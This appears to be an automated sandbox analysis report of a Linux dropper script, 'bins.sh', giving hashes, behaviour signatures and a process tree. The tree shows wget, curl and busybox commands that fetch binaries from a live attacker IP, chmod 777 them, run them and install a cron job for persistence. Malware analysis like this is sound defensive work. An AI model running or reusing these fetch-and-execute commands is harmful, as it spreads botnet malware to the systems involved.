Analysis

  • max time kernel
    88s
  • max time network
    189s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    26/11/2024, 07:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e7ee143d7340118484b8308ebe57328e

  • SHA1

    e7dd9b270c283047255e9f58f9ef0fb153f900d3

  • SHA256

    94d5ebe092c6ecaa224eab27a6bfe01afda924c0719fd09b8a9174f3e017c821

  • SHA512

    58ab0c990171675599b112b48a8daa9933ea45b7dd4eb951058cea90ceb056ba30102af40be21e560749cc7e49dd14d67f2181832517b51e56b7464900181b79

  • SSDEEP

    96:S2ld5pKiccHpWYgdj332d5pKiqOHGNmH5WYgqCHT33qmeZ:S2I8pGjWU6

Malware Config

Signatures

  • Contacts a large (2116) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:659
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:661
        • /usr/bin/wget
          wget http://216.126.231.240/bins/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Writes file to tmp directory
          PID:664
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:688
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Writes file to tmp directory
          PID:691
        • /bin/chmod
          chmod 777 SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • File and Directory Permissions Modification
          PID:697
        • /tmp/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          ./SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
          • Executes dropped EXE
          PID:698
        • /bin/rm
          rm SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6
          2⤵
            PID:702
          • /usr/bin/wget
            wget http://216.126.231.240/bins/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            2⤵
            • Writes file to tmp directory
            PID:703
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:716
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            2⤵
            • Writes file to tmp directory
            PID:731
          • /bin/chmod
            chmod 777 62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            2⤵
            • File and Directory Permissions Modification
            PID:740
          • /tmp/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            ./62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:741
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:743
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:745
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:747
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:749
                • /bin/rm
                  rm 62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl
                  2⤵
                    PID:753
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/5I9kbG5D6EL4hRulPGLy67zBvvSeOTssiP
                    2⤵
                    • System Network Configuration Discovery
                    PID:756

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/62Ctb6ftmXqRYPEWHTdLi0XBArzfnzwgcl

                  Filesize

                  119KB

                  MD5

                  1b166b95f9cb4b079ef1b9ec8363ddf3

                  SHA1

                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                  SHA256

                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                  SHA512

                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                • /tmp/SblXOM0c8MOgUSGu75Tezh3lvz3cnchVe6

                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                • /var/spool/cron/crontabs/tmp.tIFsFh

                  Filesize

                  210B

                  MD5

                  52de99781ea07c44f16c0e95298f5f3b

                  SHA1

                  da9683df2aaaa6b528d93b63b6fa6dc42ba2175d

                  SHA256

                  3bbe4757291c6cdcae4f375556d6d201e4644f2dc556164f5f168af050989e2b

                  SHA512

                  7ff0fd4911358f35dbed340f93e50ad531589396bca9773f77a280a6530cfb66a93787df0dd6f351564327a1b832428391d641afed120aac425f31c46f6c4e9f